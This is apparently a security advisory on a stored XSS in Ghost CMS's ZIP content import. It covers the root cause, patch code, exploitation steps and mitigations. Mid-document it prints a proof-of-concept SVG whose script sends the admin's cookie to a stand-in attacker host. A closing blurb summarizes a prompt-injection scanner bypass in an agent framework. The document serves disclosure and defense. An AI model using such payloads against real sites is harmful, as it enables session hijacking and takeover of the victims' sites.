Oct 8, 2026·6 min read·4 visits
Ghost CMS failed to sanitize SVG files included inside bulk content imports (ZIP files). Attackers can trick administrators into importing a malicious ZIP containing crafted SVGs with embedded JavaScript, leading to stored XSS and complete CMS takeover.
A Stored Cross-Site Scripting (XSS) and Unrestricted Upload of File with Dangerous Type vulnerability in Ghost CMS (versions 4.0.0 to 6.66.x) allows remote attackers to execute arbitrary JavaScript in the context of an administrator's session. The flaw lies in the content import subsystem, which extracted and stored SVG files without sanitization or binary verification.
Ghost is an open-source publishing platform and Node.js content management system widely used for professional publishing. The platform exposes a content import surface that allows administrative users to upload bulk ZIP files containing site data, databases, configuration settings, and associated media assets.
From version 4.0.0 until 6.67.0, Ghost did not sanitize Scalable Vector Graphics (SVG) files included inside content archives during the data import process. Since SVG is an XML-based image format, it can embed HTML elements, JavaScript blocks via <script> tags, and execution event handlers. This creates a Stored Cross-Site Scripting (XSS) condition, classified under CWE-79 and CWE-434.
An attacker who successfully induces an administrative user to import a crafted content file can plant malicious SVG images on the victim's domain. Once stored, accessing the direct URL of these files executes the embedded JavaScript under the security origin of the website, bypassing browser-based isolation policies.
The root cause of CVE-2026-105644 lies in the implementation of the image importer module (ghost/core/core/server/data/importer/handlers/image.js). Prior to version 6.67.0, the handler identified and verified incoming image assets using file extension checks alone, referencing the configurations for allowed uploads.
While standard HTTP image uploads directly via the administrative panel API interface were subjected to sanitization middleware, the files extracted from bulk content imports bypassed these sanitization boundaries. There was no server-side SVG sanitization performed during the extraction phase of a content archive import.
Furthermore, the system lacked content verification mechanism such as magic byte validation to confirm that files with image extensions (such as .jpg or .png) actually corresponded to safe, non-executable content. This allowed an attacker to include an executable HTML or SVG payload disguised under an arbitrary permitted image extension, or directly use .svg and .svgz file types within the archive structure.
The vulnerability was fixed in commit 1be06f4e95a5eb159d14abda7660e689af13cff1 by integrating a multi-tiered file validation framework. The patch integrates a custom SVG sanitization utility (ghost/core/core/server/lib/image/svg-sanitizer.ts) which leverages jsdom and dompurify to sanitize XML elements in SVG files.
// Sanitize SVG content using DOMPurify
export function sanitizeSvgContent(content: string): string | null {
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
const sanitized = DOMPurify.sanitize(content, { USE_PROFILES: { svg: true, svgFilters: true } });
const validSvgTag = sanitized?.match(/<svg[^>]*>\s*[\S]+[\S\s]*<\/svg>/);
if (!sanitized || sanitized.trim() === '' || !validSvgTag) {
return null;
}
return sanitized;
}The fix also implements path validation constraints to prevent path traversal attacks or writing files to unauthorized locations, ensuring that all processing is restricted to files inside the temporary system directory (os.tmpdir()):
const resolvedPath = path.resolve(filepath);
if (!resolvedPath.startsWith(path.resolve(os.tmpdir()) + path.sep)) {
logging.error(`Refused to sanitize SVG outside the temp directory: ${filepath}`);
return false;
}Additionally, the patch hardens the image-processing layer by restricting the decoders allowed in the sharp library (which uses native libvips bindings), mitigating risks associated with parser-level buffer overflows or memory safety issues.
export function restrictImageDecoders(extensions, { requireSharp }) {
const sharp = requireSharp();
if (!sharp) return;
sharp.block({ operation: ['VipsForeignLoad'] });
sharp.unblock({ operation: getAllowedImageLoaders(extensions) });
}Exploitation of CVE-2026-105644 requires user interaction from an administrative user of the Ghost CMS instance. An attacker must first construct a malicious SVG file containing standard script execution blocks or event-driven handlers that reference the target action.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" />
<script type="text/javascript">
fetch('https://attacker.controlled.server/steal?cookie=' + document.cookie);
</script>
</svg>The attacker packages the malicious file into a ZIP archive matching the folder structure expected by the Ghost database importer. The ZIP archive is structured with a root directory containing a posts.csv metadata file and a sub-folder path such as content/images/avatar.svg.
Once the archive is prepared, the attacker must utilize social engineering or other vectors to convince an authorized administrator of the target Ghost instance to navigate to /ghost/#/settings/labs and perform a content import. Once imported, the SVG file is written to the persistent file system at /content/images/avatar.svg. The attacker can then trigger the stored script execution whenever an active administrative session accesses the resource URL directly.
The security impact of CVE-2026-105644 is substantial due to the context of the execution origin. When an SVG file is accessed directly from the host static asset path, the web browser parses and executes the embedded script within the domain origin of the Ghost CMS installation.
Because the script runs in the context of an authenticated session, the attacker can hijack administrative cookies, capture active session tokens, and bypass Cross-Site Request Forgery (CSRF) protections. This allows the attacker to execute administrative commands, such as adding new administrative users, modifying existing post content, or altering platform configurations.
The CVSS v3.1 base score is calculated at 6.8 (Medium), with a high complexity (AC:H) because exploitation depends on convincing an administrative user to import a malicious ZIP file. However, should an administrator execute the import, the confidentiality and integrity impact is high, leading to complete compromise of the content management platform.
The primary mitigation for this vulnerability is upgrading the Ghost CMS installation to version 6.67.0 or higher, which incorporates the server-side sanitization, magic byte checks, and native decoder constraints.
If immediate upgrading is not possible, administrators should deploy external protective controls. Deploying a Content Security Policy (CSP) header on the web server or reverse proxy (e.g., Nginx) that targets the asset directory /content/images/ is recommended. This policy should disable script execution for SVG content.
Content-Security-Policy: default-src 'none'; frame-ancestors 'none';Additionally, administrators can mitigate the risk of origin-based exploitation by hosting static assets on a completely separate domain (e.g., ghostassets.com instead of the primary domain). This ensures that any script execution triggered by accessing a direct SVG file link is sandboxed away from the core administrative API.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Ghost TryGhost | >= 4.0.0, < 6.67.0 | 6.67.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79, CWE-434 |
| Attack Vector | Network |
| CVSS Score | 6.8 (Medium) |
| EPSS Score | 0.0032 (0.32%) |
| Impact | Stored XSS / Session Hijacking |
| Exploit Status | Proof of Concept (PoC) |
| KEV Status | Not Listed |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
An authenticated Regular Expression Denial of Service (ReDoS) vulnerability in TryGhost Ghost (CMS) versions 4.0.0 through 6.66.x. An attacker with administrator privileges can upload crafted content import archives containing pathological directory names or migration patterns, triggering exponential backtracking in the Node.js V8 engine.
CVE-2026-105645 is a regular expression denial of service (ReDoS) vulnerability affecting Ghost, an open-source Node.js content management system. The vulnerability exists within directory import handlers and the external media inliner, allowing authenticated administrators to trigger catastrophic backtracking in the V8 JavaScript engine, resulting in infinite loops, 100% CPU utilization, and total denial of service.
Stored Cross-Site Scripting (XSS) and origin isolation bypass vulnerability in Ghost CMS versions 6.34.0 through 6.66.1 allows low-privileged staff users to execute arbitrary JavaScript in the context of an administrator session via crafted embed cards.
CVE-2026-105642 is a critical remote code execution vulnerability in Ghost CMS, affecting versions 6.56.0 through 6.66.0. The flaw resides in how Ghost's backend handles external image metadata when generating 'Bookmark' cards in the post editor. When a low-privileged staff member inputs a malicious URL, the server fetches and processes an SVG containing an embedded payload, leading to command execution via the underlying, vulnerable image-processing component.
This report provides a comprehensive technical analysis of CVE-2026-61439 (GHSA-fj8f-m44g-c479), a prompt injection defense bypass vulnerability in the PraisonAI multi-agent framework. In versions prior to 4.6.78, the InjectionDefense scanner threshold defaulted to CRITICAL. This allowed single-vector prompt injections classified as HIGH severity (e.g., direct instruction overrides or financial manipulations) to pass through unblocked, enabling attackers to extract system prompts and execute unauthorized agent tools.
Kunstmaan CMS MediaBundle prior to version 7.3.2 contains a critical file upload vulnerability where case-sensitive extension checks can be bypassed using mixed-case file extensions. Because extension normalization occurs after the validation routine, files with mixed-case executable extensions (such as pHp) bypass checks but are stored with normalized lowercase executable extensions, allowing authenticated administrators to achieve remote code execution.